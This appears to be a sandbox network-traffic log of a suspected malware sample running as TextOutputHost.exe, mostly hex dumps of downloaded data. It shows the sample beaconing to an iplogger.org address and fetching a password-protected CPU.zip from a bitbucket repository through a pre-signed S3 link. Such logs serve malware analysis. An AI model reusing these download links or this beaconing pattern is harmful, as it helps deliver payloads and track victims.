2022-08-04 11:37:14 UTC	4335	IN	Data Raw: 84 43 76 e3 e5 e9 00 9a e0 9d ba c9 9d 3f 6a 1c 52 75 0c 92 37 4e c0 62 e2 a1 fa d2 fb af 1c 7f 15 d8 19 9f 43 99 02 ba 94 bc 3b 05 4b fc 4c 8d 6e 48 c5 24 1b c0 5f 1a ac 29 a7 26 07 7e 11 9e 30 51 6b 66 45 e0 fe a6 0a 68 57 de 7c 37 91 22 ef 80 ac 24 47 39 92 45 ad a0 4a b8 35 d5 ef 1f 63 f0 23 e5 45 b9 57 12 57 38 00 5d d0 e5 45 7b 6e 5a 3a 58 13 2b 0b 4d 0f 01 61 04 c3 30 07 a4 e8 ae f7 41 d6 f3 9e 43 f0 37 3b 92 40 a7 56 c5 d8 51 95 d7 d1 39 1c ef 26 e7 17 0a 19 3e 1e da 25 06 88 e1 be 4e 97 1d bb 79 7b a6 1b 7d a4 80 6d 11 fb 63 1b 76 f3 f3 64 6d 30 54 52 7f e9 ab ed 88 15 65 a3 93 3d ad a3 84 21 36 9e 4f 0a d1 e6 cc 81 2e 54 fb 9a 43 56 cb b8 bd 29 5f 20 55 57 29 9f 18 56 6d 0d 3c b8 b5 83 2b 23 94 26 3b ed 16 1c c7 56 24 70 ee 34 49 df c8 6f 0f 94 Data Ascii: Cv?jRu7NbC;KLnH$_)&~0QkfEhW\|7"$G9EJ5c#EWW8]E{nZ:X+Ma0AC7;@VQ9&>%Ny{}mcvdm0TRe=!6O.TCV)_ UW)Vm<+#&;V$p4Io
2022-08-04 11:37:14 UTC	4336	IN	Data Raw: bd e9 59 76 d5 f9 cc fb 05 90 65 50 bf 19 59 2b 9d 74 44 a8 4a 58 3c 2f 18 bb c1 84 e9 ae 7f 97 bb 6f 34 16 0e 3c 06 f2 69 23 2e 0f 25 51 18 04 3e b8 2e df 1d be f8 56 dc bd 29 00 22 0a fe a4 5f 8b 19 52 57 d1 8b e3 55 b2 5e 0d 31 40 29 39 c9 75 84 4f 7a 92 6e 8b 2f 18 85 b3 69 5f 4b 2e 81 b7 d9 48 81 73 83 56 e7 94 03 cc 49 cc 62 cd 2f 29 f0 9e c3 e2 af 44 4f a2 93 19 c7 86 d6 a0 21 94 69 0f b7 c6 e4 d0 28 a8 45 f6 a5 d5 44 e5 45 8a 00 30 d9 bb 70 fc 2d 8c fc 0f fe 24 4e a3 45 b0 a8 f2 f8 1f 59 ac 95 b2 8f 42 ad c7 05 29 00 af 49 38 5c fd 05 22 a3 8e 99 d6 ea b3 22 8e 49 09 7f 82 36 32 1d ee 9d 46 d1 dc 21 a7 06 7f 95 a0 34 b3 82 7c 9c 67 2d 28 be 14 b8 14 59 61 c8 a5 44 06 ab 27 56 0e 88 ec 04 eb 12 43 c4 82 74 17 19 f7 ae 2a 7d a6 c6 de a7 52 31 c9 c7 Data Ascii: YvePY+tDJX</o4<i#.%Q>.V)"_RWU^1@)9uOzn/i_K.HsVIb/)DO!i(EDE0p-$NEYB)I8\""I62F!4\|g-(YaD'VCt*}R1
2022-08-04 11:37:14 UTC	4352	IN	Data Raw: af 96 86 a4 cf 0a 7a 08 72 0f ff 6c d3 b6 b9 da a3 79 29 e2 78 bd 48 b4 67 63 53 45 af e2 d9 b9 0b cb 65 7d d1 ff c7 3a 0d 9c 8d 98 1e 98 12 29 13 7e ef 77 83 29 c2 46 eb 7f 12 14 80 86 60 c3 64 8a 2c d2 ab 39 50 0b ae 63 5c 27 2e f8 e5 2d a7 42 de 8b b5 f8 a5 db 32 68 e1 69 17 b1 82 1f 1b e4 c4 d8 af 67 bd 94 79 c8 a1 21 f1 30 1e 81 f7 fa 11 38 f6 5a f5 ef e2 17 b5 b4 d8 d9 f7 57 fc 95 dc 06 54 57 ea 07 25 d8 57 1f ee 66 87 05 c5 57 c9 44 e7 07 9d 71 69 08 bc 5e 12 00 cb 6e f6 d5 fa 56 cc cc 2c cb 62 a4 88 8b 2b f3 60 f7 ec bc 0a 47 8f 23 b4 a7 d3 6d b5 7c 5f 14 b8 59 a0 1f d6 14 68 44 b9 30 9f 03 43 53 ee 15 a5 8b ea c1 15 67 3c 50 64 ce ac 6e bd 1c 40 a5 cc ac 64 c3 4b 3c 8a 8a d2 f6 98 e6 5e 62 b1 0d 29 f1 e8 e5 6a 8d a9 f7 0d 73 ef 2c 07 e8 e2 a3 83 Data Ascii: zrly)xHgcSEe}:)~w)F`d,9Pc\'.-B2higy!08ZWTW%WfWDqi^nV,b+`G#m\|_YhD0CSg<Pdn@dK<^b)js,
2022-08-04 11:37:14 UTC	4353	IN	Data Raw: 46 52 61 5c a6 b3 72 49 17 2e 6c 0e ee 01 fb 54 34 6d 84 87 2f 9d 3f 85 ca 2a 1f 35 39 4e 69 b8 bb e1 06 b1 f9 c8 7c 23 17 57 48 ba 98 ab f8 02 ed cb ec c3 ee ae c4 c3 5f 01 a1 f9 9d e3 19 26 6d 1d 80 2d 68 cd 7e 4d 84 4f e3 74 3c 87 58 d9 6f e2 89 a8 c3 90 ef 8f a1 e7 de 5f ba a2 3d 38 4e a7 3a 03 c5 5f a1 ef 0d 25 72 c7 34 26 b8 f2 f9 20 0b c4 07 6e 13 ff 65 47 5f fb ae 12 3b 02 f9 14 2f d3 12 20 16 42 20 e4 c5 ab df 48 8a 8b 2e 7e 9a 5a ec 2d f6 8d 23 65 48 17 dd 29 f3 3b 4e b8 a3 9e 17 be be 47 72 5b 26 ee cb 8f a1 68 47 e6 83 a0 fc d5 1b 20 03 79 cd 5c bb 3f c2 5d 4b 93 35 a5 a2 a4 cf 8d 41 ee aa 01 54 a0 22 09 af 6d 02 e9 c5 60 c8 72 47 33 bf 7d ef 91 7d 61 8e 04 95 84 7c fc 0f 35 0e 21 4a 37 80 cb 41 da a2 0f ad 5a 8e ca de 57 7b a9 c2 3b 19 5d 97 Data Ascii: FRa\rI.lT4m/?*59Ni\|#WH_&m-h~MOt<Xo_=8N:_%r4& neG_;/ B H.~Z-#eH);NGr[&hG y\?]K5AT"m`rG3}}a\|5!J7AZW{;]
2022-08-04 11:37:14 UTC	4369	IN	Data Raw: 01 04 f0 87 97 c1 24 c4 f0 f3 fb a2 dd ca 07 54 93 6b 1f 6f f3 51 3a 8a 9b 21 1a 3e 91 6b a6 d0 45 ba 01 9e 98 9f 42 a2 11 c2 88 e3 c2 a1 c3 62 4f ba cd 49 7e 58 a0 6d 5b 0e 81 56 b8 9e 77 52 8e 14 bd 31 19 67 00 4e cf bb ee 12 26 e0 b7 42 51 60 69 5b ae 0a f5 dc a7 ce 28 eb 0d 21 d9 d0 72 82 10 33 3b 27 39 1b b8 95 cd 78 88 64 3e 54 ef b7 dd 53 b9 1e 18 5e bd a4 c6 b8 41 af 2c b4 e8 76 77 3e 24 ab 86 62 be c5 b0 02 6c de af 75 fe 61 69 ec f2 ae 6d 13 00 5f 48 18 be 81 81 b4 00 6e 03 53 aa 29 fb e2 80 4f 61 89 d0 ba 7c 3c d1 a0 73 38 d0 cb 58 c8 f6 e6 f6 a6 dc f1 75 74 c9 15 e4 af 43 3b 0f bb 54 ec 8b 28 d5 f8 6a ea 90 b0 4a f9 1b 8b c5 d9 8e 6b ca 84 89 51 b4 8b d2 35 27 d2 48 a3 a4 ad b9 1a 0b 39 cc f2 f0 99 22 98 39 8e 26 1a 53 c7 fe 02 71 53 78 74 db Data Ascii: $TkoQ:!>kEBbOI~Xm[VwR1gN&BQ`i[(!r3;'9xd>TS^A,vw>$bluaim_HnS)Oa\|<s8XutC;T(jJkQ5'H9"9&SqSxt
2022-08-04 11:37:14 UTC	4370	IN	Data Raw: 27 c6 9f c7 99 d9 f0 b6 28 01 4e 78 de b8 6c 7f b2 9b 43 97 92 20 53 68 19 5f 68 8f 8c fd a7 05 92 ff c5 19 54 f2 3a 05 15 36 f3 7f d7 2d a4 5c 44 79 f5 25 4f 80 e0 dc 93 93 eb 94 5b a2 ee e3 44 68 b7 e0 8d 3d 4b 1c 06 f0 77 b8 74 ef 96 6e f0 74 46 1e 2a 48 43 46 60 bf 80 e7 fe a3 1c 42 91 63 2c 90 47 9e 92 6b 71 97 7c 23 f2 67 51 66 df 10 4b 09 c5 30 60 01 39 02 75 44 2f 4c 80 fa 61 b8 7c d5 2e 2b 3c 55 79 70 19 7e 97 97 36 d6 97 b4 1b b3 e9 22 70 be a6 36 02 bb 53 28 56 27 52 bc 63 97 5d 7a 75 6e d3 bc 03 70 a6 8a d4 4a 9c 62 c8 32 7b 8e c1 18 cb 06 09 0e be 87 2e 0b 55 bd 4f 35 7e b0 e6 1c bf 00 e6 0f 96 1b 32 b5 79 f1 57 62 ff af eb 4a b1 03 be 59 6e 83 ed e5 95 75 6c 62 59 ed e5 8b e6 13 d1 0f 8f d2 d1 23 86 e0 6a 2e b2 ca 48 ce 4e da 73 f5 a2 97 47 Data Ascii: '(NxlC Sh_hT:6-\Dy%O[Dh=KwtntF*HCF`Bc,Gkq\|#gQfK0`9uD/La\|.+<Uyp~6"p6S(V'Rc]zunpJb2{.UO5~2yWbJYnulbY#j.HNsG
2022-08-04 11:37:14 UTC	4386	IN	Data Raw: b5 e9 43 0d 36 dc 53 a6 f2 85 4b e9 07 d4 44 de d5 b4 13 25 88 d7 e0 8f b5 70 1a d0 58 81 30 69 b4 48 79 ec 8c 7e 80 91 c8 2a f9 d1 d5 d3 ca d7 63 8d 56 e3 66 62 7b 70 a0 0f ac aa 95 9e ec 81 ed 53 0e fb 5a 1b e8 1d ba b3 b7 f2 6a 02 2a 81 fb 3e 17 26 d3 9f 27 e0 c0 ba 77 53 9d bf 3d 7f 81 cb 69 1a 68 ae de 10 76 97 69 67 13 df 95 cc 6e 64 1d e0 5f a4 fa db 7b bf 3b f3 cf cd 4f 1f 83 d1 ee a4 e6 c1 27 f2 c4 b5 67 82 d5 03 08 e3 90 46 c6 67 2c 24 f8 de 2e d5 2b f6 0b 94 d6 a9 3c c0 fd ee fc 07 ae df 4e 2f 08 51 39 8d 5b 3e df 8b e4 5b 1a 86 af e8 aa a5 47 12 fb af 60 02 c5 61 be 7c 94 90 de c5 94 19 f1 07 fe 0b 35 c9 fa 1d 49 67 33 de a9 08 a9 af 1f ae fe e3 23 49 9e cf 24 f4 54 6f 89 0f dd 74 7e 5a 66 bc 12 b3 2f f1 2c 86 d3 12 85 fc b0 99 ed 57 96 fa 6e Data Ascii: C6SKD%pX0iHy~cVfb{pSZj>&'wS=ihvignd_{;O'gFg,$.+<N/Q9[>[G`a\|5Ig3#I$Tot~Zf/,Wn
2022-08-04 11:37:14 UTC	4387	IN	Data Raw: 15 66 48 74 a9 0c 56 f4 eb 64 38 22 f4 d9 e4 91 f7 46 28 c8 2f 12 f8 ed 79 f2 62 08 20 6d dc 9c 50 75 f8 8d 91 0e e4 a7 57 90 f7 77 aa 97 1f 96 a7 e4 c1 13 81 1b 8d 56 05 cd 98 d8 9a 66 e1 0c 67 a8 83 b6 6a 44 88 ff e0 dd 58 d2 6d a1 52 c1 80 7f a7 4a c4 18 29 ab 04 70 2b a4 c2 49 46 64 5d 3e 72 b7 93 7c a2 4c c2 ed 4b 8c d8 c8 77 75 6c 43 c4 f4 0c 65 ab b9 a9 ec 2b 4e 1e 08 66 dc 37 5d 84 05 69 57 0d 5e b1 62 30 84 7a 4f 08 0e 6f 0a 0f 7d 95 ec 1b b9 2c 48 fd 9d 69 0a e1 90 bc 4e 9d 46 ba 5d 40 e2 10 a9 9b 57 24 8a 80 26 7a a4 b9 3f d3 75 b0 c4 1d 9b dc d1 81 c4 bc 27 1d 69 79 4c 03 7e 70 14 78 67 db 9f 64 31 80 3c c1 3f e3 b7 4e 47 37 ce dc 5b a6 54 ca f1 ef 37 ba ba d7 59 70 d6 36 b3 f6 69 b6 86 f7 2d 94 57 4e 84 a3 4e 95 93 75 26 1f c9 2c 31 3d e3 fd Data Ascii: fHtVd8"F(/yb mPuWwVfgjDXmRJ)p+IFd]>r\|LKwulCe+Nf7]iW^b0zOo},HiNF]@W$&z?u'iyL~pxgd1<?NG7[T7Yp6i-WNNu&,1=
2022-08-04 11:37:14 UTC	4403	IN	Data Raw: 42 cf 8b 12 e1 fd 3e 24 d8 90 68 7d ba e7 d9 b7 3a 22 bf dd ca fa 89 f3 a7 0d 4b 84 8c d0 bb 12 b7 9e 32 1c 23 a9 0b 9e ac fb 7f 47 b9 cd 4a 4f f9 8e 9b cc ef 8b c2 86 7f f3 e6 b2 65 8b 60 0e 65 aa 70 7a f5 99 ac 26 5a ee 6a 5f ec a9 bb 37 88 c8 7e e8 97 de 81 d2 ce 68 15 1e 71 68 8f 17 5b 4e 47 6a 3a 76 b1 e1 fc ea 5a 23 c8 4f c1 b0 77 8a d9 a7 25 e7 43 c0 89 07 c2 a0 49 11 e0 fc b3 d9 cf 0d bd 8c 4d 2b 48 4c 4a a3 51 94 98 15 c0 04 00 d8 b1 25 3e 8e 68 89 d7 27 a3 a4 5d 5d 0f 82 bc a1 4f 24 14 79 02 f8 a1 8f e6 bf 81 2c 94 a2 4a 98 38 33 78 6a 76 35 f7 82 79 e8 81 33 12 48 d3 a8 e8 42 47 ab 7b 16 73 57 6d ae 8f df 00 58 2a 7e a7 cd 35 ac d8 98 84 a5 f7 a2 1b 57 85 e3 9b b7 dd ff c1 18 a9 b0 b2 76 1b 45 5a 61 fe a2 74 c9 c2 2b d8 cd 79 bc aa c8 fd 04 a6 Data Ascii: B>$h}:"K2#GJOe`epz&Zj_7~hqh[NGj:vZ#Ow%CIM+HLJQ%>h']]O$y,J83xjv5y3HBG{sWmX*~5WvEZat+y
2022-08-04 11:37:14 UTC	4404	IN	Data Raw: ae d2 59 ef dc 48 55 07 54 16 5d 22 ac ac ac 99 f9 e3 d4 aa fb 59 4b 53 6d 9c 33 51 8e ad 28 be 43 0a b0 87 d1 d3 4f 57 6b ac 87 9d 9d c6 b9 f1 88 c9 c3 24 28 75 8f 6d ce d0 cb e3 0c 99 1b 56 9d d3 09 3e 0e c7 1e 0e fa b8 8e c4 5a 6a 09 9b d8 f5 23 37 f6 cf 2c 05 b6 fc 5d 49 8a 2f 36 bb ec 4a 4e 31 e8 52 5c 04 6b 83 e5 95 c1 14 06 30 63 a3 76 c7 58 24 a2 78 c0 ea 97 5a 04 cd cf bd 24 97 4f eb 55 e9 37 9a 0a f6 e1 ef b7 ae d2 60 bb 39 f1 05 06 b7 e5 0d 9a f5 4f 02 a7 d5 5e c0 06 28 5d c7 8e 1d a5 83 da fa fe e3 a9 b6 4a 50 2f 0d 26 4c 9d 97 5b 1e 25 d5 d1 42 e9 30 4c 84 14 16 6c a0 76 a2 71 71 49 d2 cf cf 14 d7 5d 61 fe 52 68 be ee 89 9e 45 19 a1 06 ae c0 59 d8 bf 7d a7 28 90 cc d1 26 d4 a4 a9 8f 40 21 47 19 cd 7d d1 a7 da 7f 19 ff 83 86 2e 7a f0 48 66 36 Data Ascii: YHUT]"YKSm3Q(COWk$(umV>Zj#7,]I/6JN1R\k0cvX$xZ$OU7`9O^(]JP/&L[%B0LlvqqI]aRhEY}(&@!G}.zHf6
2022-08-04 11:37:14 UTC	4420	IN	Data Raw: d9 b0 0d 4b 92 6c ba de 45 5e 64 b7 d4 65 f4 4e 89 a1 b1 40 8c ea a6 d6 62 84 18 0f 28 4b 93 39 ff ec 6c 59 41 b9 7b e6 da 0d ff ca 57 25 17 e9 ae c7 e9 02 84 5b 79 60 67 15 7f 1f 1c a3 6d d6 61 18 04 0e 4a f0 6f 0e e2 84 51 b5 92 f0 c2 48 ac d9 7a ad 4c 9d 27 41 7c 13 e4 29 3d 06 be 98 2a 6c b1 51 87 8d 07 73 a3 2b c4 ba 1e d9 11 82 46 ed 78 a6 d3 02 fb 81 98 90 36 ad 61 70 9c ce 42 ad 59 9f 62 f8 f7 1a f5 63 46 bb 1f 38 da 02 d6 7c 5c e7 64 f6 c8 20 fb b2 26 73 4b f3 ef aa ae f5 1d b9 c2 82 75 f2 43 21 a0 6b 1f 15 30 d1 b9 38 70 12 0e ed 8c 34 3e a2 c5 9f b0 63 78 3a aa 6c 31 02 f6 aa 36 de 38 4c a6 e5 c1 e9 32 23 b5 12 d0 bd 9f c8 b4 60 17 c2 b2 5b 6e 69 95 d1 8b f8 d8 09 e2 a2 cb 6b 47 6a 9b b5 f7 fc 48 2c 76 0d 70 d2 94 13 ea a0 e4 e4 9e c4 d1 f3 7a Data Ascii: KlE^deN@b(K9lYA{W%[y`gmaJoQHzL'A\|)=*lQs+Fx6apBYbcF8\|\d &sKuC!k08p4>cx:l168L2#`[nikGjH,vpz
2022-08-04 11:37:14 UTC	4421	IN	Data Raw: e6 0a d8 5d 05 c8 41 a4 c3 76 84 5b b0 d1 1b 8f 1a 4d 3f 4f 88 6e a7 dc f5 40 da 89 32 ee a0 79 ad c2 20 92 db f3 b5 0f 3d 1e 36 ea 53 1e 85 2b a0 3b a4 de 33 c7 1f 52 76 96 87 4c bb 1e 91 6e f3 9f 0e 8c 12 c0 b4 8c 06 e7 09 11 95 2d ad dd 06 33 0a ad f3 fe 84 87 38 04 28 6e 51 00 c0 9e 0f c6 ad a2 98 28 d3 11 83 0a f3 28 6b 96 e3 44 dc a8 a0 b3 94 09 e4 d2 91 61 32 82 c2 66 0d c4 65 f7 70 72 c0 86 31 c8 04 47 f2 1b 7a e1 ee 22 63 52 66 2a bb 93 76 6c d2 2e 3d e3 71 78 9d 93 35 e4 ce 11 02 fd ad 6e a0 cf e7 c3 62 b2 c6 6b 53 db d0 08 96 ed 54 da b1 d2 1d f9 e3 5d 15 ed d2 c1 b1 a9 e4 30 65 7b f5 8c ec 58 06 97 00 37 4c 92 bc 08 45 0a 09 41 1a f9 e9 f2 f3 86 da 1f 3d f6 41 5c 7d 11 a3 24 fc 87 74 21 64 f6 55 32 86 e4 41 d4 92 19 28 da f5 f5 85 04 0f e3 45 Data Ascii: ]Av[M?On@2y =6S+;3RvLn-38(nQ((kDa2fepr1Gz"cRf*vl.=qx5nbkST]0e{X7LEA=A\}$t!dU2A(E
2022-08-04 11:37:14 UTC	4437	IN	Data Raw: 05 2b 0e 03 02 1a 05 00 30 68 06 0a 2b 06 01 04 01 82 37 02 01 04 a0 5a 30 58 30 33 06 0a 2b 06 01 04 01 82 37 02 01 0f 30 25 03 01 00 a0 20 a2 1e 80 1c 00 3c 00 3c 00 3c 00 4f 00 62 00 73 00 6f 00 6c 00 65 00 74 00 65 00 3e 00 3e 00 3e 30 21 30 09 06 05 2b 0e 03 02 1a 05 00 04 14 33 f8 17 55 9e 33 1b 79 64 02 64 6e d6 11 4a aa fa 2b 3d 73 a0 82 17 c1 30 82 02 49 30 82 01 b6 a0 03 02 01 02 02 10 c2 cb bd 94 6b c3 fd b9 44 d5 22 93 1d 61 d5 1a 30 09 06 05 2b 0e 03 02 1d 05 00 30 1a 31 18 30 16 06 03 55 04 03 13 0f 53 6f 72 64 75 6d 20 53 6f 66 74 77 61 72 65 30 1e 17 0d 30 35 31 32 33 31 32 31 30 30 30 30 5a 17 0d 32 35 31 32 33 31 32 31 30 30 30 30 5a 30 1a 31 18 30 16 06 03 55 04 03 13 0f 53 6f 72 64 75 6d 20 53 6f 66 74 77 61 72 65 30 81 9f 30 0d 06 09 Data Ascii: +0h+7Z0X03+70% <<<Obsolete>>>0!0+3U3yddnJ+=s0I0kD"a0+010USordum Software0051231210000Z251231210000Z010USordum Software00
2022-08-04 11:37:14 UTC	4438	IN	Data Raw: f5 2c a3 0f 82 3d 0c 2b ae 97 d7 b6 14 86 10 79 bb 3b 13 80 77 8c 08 e1 49 d2 6a 62 2f 1f 5e fa 96 68 df 89 27 95 38 9f 06 d7 3e c9 cb 26 59 0d 73 de b0 c8 e9 26 0e 83 15 c6 ef 5b 8b d2 04 60 ca 49 a6 28 f6 69 3b f6 cb c8 28 91 e5 9d 8a 61 57 37 ac 74 14 dc 74 e0 3a ee 72 2f 2e 9c fb d0 bb bf f5 3d 00 e1 06 33 e8 82 2b ae 53 a6 3a 16 73 8c dd 41 0e 20 3a c0 b4 a7 a1 e9 b2 4f 90 2e 32 60 e9 57 cb b9 04 92 68 68 e5 38 26 60 75 b2 9f 77 ff 91 14 ef ae 20 49 fc ad 40 15 48 d1 02 31 61 19 5e b8 97 ef ad 77 b7 64 9a 7a bf 5f c1 13 ef 9b 62 fb 0d 6c e0 54 69 16 a9 03 da 6e e9 83 93 71 76 c6 69 85 82 17 02 03 01 00 01 a3 42 30 40 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 01 06 30 0f 06 03 55 1d 13 01 01 ff 04 05 30 03 01 01 ff 30 1d 06 03 55 1d 0e 04 16 04 14 8f Data Ascii: ,=+y;wIjb/^h'8>&Ys&[`I(i;(aW7tt:r/.=3+S:sA :O.2`Whh8&`uw I@H1a^wdz_blTinqviB0@0U0U00U

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49851	148.251.234.83	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-04 11:37:17 UTC	4444	OUT	GET /1fEwd7 HTTP/1.1 MySpecialHeder: whatever User-Agent: Run Cache-Control: no-cache Host: iplogger.org Connection: Keep-Alive
2022-08-04 11:37:17 UTC	4445	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 04 Aug 2022 11:37:17 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=102.129.143.3; expires=Fri, 04-Aug-2023 11:37:17 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 305973761719766787=3; expires=Fri, 04-Aug-2023 11:37:17 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Thu, 04 Aug 2022 11:37:17 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-04 11:37:17 UTC	4445	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49852	104.192.141.1	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-04 11:37:19 UTC	4445	OUT	GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bitbucket.org Connection: Keep-Alive
2022-08-04 11:37:19 UTC	4446	IN	HTTP/1.1 302 Found content-security-policy-report-only: script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://d301sr5gafysq2.cloudfront.net; object-src 'none'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; base-uri 'self'; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com bitbucketci-ws-service.services.atlassian.com analytics.atlassian.com as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net sentry.io .ingest.sentry.io bqlf8qjztdtr.statuspage.io https://d301sr5gafysq2.cloudfront.net; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com https://d301sr5gafysq2.cloudfront.net; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website server: envoy x-usage-quota-remaining: 999056.688 vary: Accept-Language, Origin x-usage-request-cost: 957.93 cache-control: max-age=0, no-cache, no-store, must-revalidate Content-Type: text/html; charset=utf-8 x-b3-traceid: d64f195feecb0132 x-usage-output-ops: 0 x-dc-location: Micros-3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Thu, 04 Aug 2022 11:37:19 GMT x-usage-user-time: 0.028653 x-usage-system-time: 0.000085 location: https://bbuseruploads.s3.amazonaws.com/e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/7737de24-30d9-4daf-b72b-bce98dc0f6f9/CPU.zip?response-content-disposition=attachment%3B%20filename%3D%22CPU.zip%22&AWSAccessKeyId=ASIA6KOSE3BNHFPFMP6Q&Signature=XDJ6YEmN8Nwjax6uk5S8vEQClD0%3D&x-amz-security-token=FwoGZXIvYXdzEF0aDLBZ3K08TkNocrItliK%2BAXs5M2KhfdxB3SikPG1r9Vr5XjEWnkXV3rmpT178O%2BtrsbZ0QiA%2Btk0t2uvdu4LRlr8PJStRCN8JWpJTkkrNmRGskGQf0GFLG28onKVM5e%2FGS9bWo93plm8OY6bWca%2FZBuYOAwNBvivyL7WId%2BZsj7oaSvYo4L%2FU2hVYV%2FDSlcSoMni9c4QipDK6jd0Odw9Xl08Hi0AF%2BDV4XrxMRBYyatJFE%2BYHrVXPDnpZj7ic66edeNVP2i386BG%2FYYcSV2ooh92ulwYyLYfGHG4WfbBJPQzRVijnq6UBY%2BBe5u7ghsOHPgHW7ets5zhLDinEYUDO7mPlcQ%3D%3D&Expires=1659614607 expires: Thu, 04 Aug 2022 11:37:19 GMT x-served-by: e91a616eed31 x-envoy-upstream-service-time: 61 content-language: en x-view-name: bitbucket.apps.downloads.views.download_file x-static-version: 660cf0d861d7 x-render-time: 0.049482107162475586 Connection: close x-usage-input-ops: 0 x-frame-options: SAMEORIGIN x-version: 660cf0d861d7 x-request-count: 2506 X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache" Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49853	52.217.195.249	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-04 11:37:21 UTC	4448	OUT	GET /e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/7737de24-30d9-4daf-b72b-bce98dc0f6f9/CPU.zip?response-content-disposition=attachment%3B%20filename%3D%22CPU.zip%22&AWSAccessKeyId=ASIA6KOSE3BNHFPFMP6Q&Signature=XDJ6YEmN8Nwjax6uk5S8vEQClD0%3D&x-amz-security-token=FwoGZXIvYXdzEF0aDLBZ3K08TkNocrItliK%2BAXs5M2KhfdxB3SikPG1r9Vr5XjEWnkXV3rmpT178O%2BtrsbZ0QiA%2Btk0t2uvdu4LRlr8PJStRCN8JWpJTkkrNmRGskGQf0GFLG28onKVM5e%2FGS9bWo93plm8OY6bWca%2FZBuYOAwNBvivyL7WId%2BZsj7oaSvYo4L%2FU2hVYV%2FDSlcSoMni9c4QipDK6jd0Odw9Xl08Hi0AF%2BDV4XrxMRBYyatJFE%2BYHrVXPDnpZj7ic66edeNVP2i386BG%2FYYcSV2ooh92ulwYyLYfGHG4WfbBJPQzRVijnq6UBY%2BBe5u7ghsOHPgHW7ets5zhLDinEYUDO7mPlcQ%3D%3D&Expires=1659614607 HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Connection: Keep-Alive Host: bbuseruploads.s3.amazonaws.com
2022-08-04 11:37:21 UTC	4449	IN	HTTP/1.1 200 OK x-amz-id-2: kIfD1K1VETcW0nkJ0d2QEryMNIx7iL+cBXo7OOF3udw+hmLZ0MdzK/YZtJH1SgnqEH3jZUJMYAo= x-amz-request-id: TJ4ECPKR6AGA3Y19 Date: Thu, 04 Aug 2022 11:37:22 GMT Last-Modified: Fri, 08 Oct 2021 16:00:45 GMT ETag: "fd4914c5289f13c9639481a2eebbd311" x-amz-version-id: rNhERZ1bRKwlh0QCY62w5KsnWg9_i2WQ Content-Disposition: attachment; filename="CPU.zip" Accept-Ranges: bytes Content-Type: application/x-zip-compressed Server: AmazonS3 Content-Length: 216 Connection: close
2022-08-04 11:37:21 UTC	4450	IN	Data Raw: 50 4b 03 04 0a 00 09 00 63 00 5b 08 24 53 00 00 00 00 1c 00 00 00 00 00 00 00 08 00 0b 00 33 32 34 35 2e 74 78 74 01 99 07 00 02 00 41 45 03 00 00 98 a6 58 38 0b 7b 6d 7a 04 84 47 6f da ad 3c 21 00 e7 5d 48 c8 9c 3b 66 ba 09 db 90 50 4b 07 08 00 00 00 00 1c 00 00 00 00 00 00 00 50 4b 01 02 1f 00 0a 00 09 00 63 00 5b 08 24 53 00 00 00 00 1c 00 00 00 00 00 00 00 08 00 2f 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 33 32 34 35 2e 74 78 74 0a 00 20 00 00 00 00 00 01 00 18 00 38 8a 5e 72 0f a1 d7 01 38 8a 5e 72 0f a1 d7 01 38 8a 5e 72 0f a1 d7 01 01 99 07 00 02 00 41 45 03 00 00 50 4b 05 06 00 00 00 00 01 00 01 00 65 00 00 00 5d 00 00 00 00 00 Data Ascii: 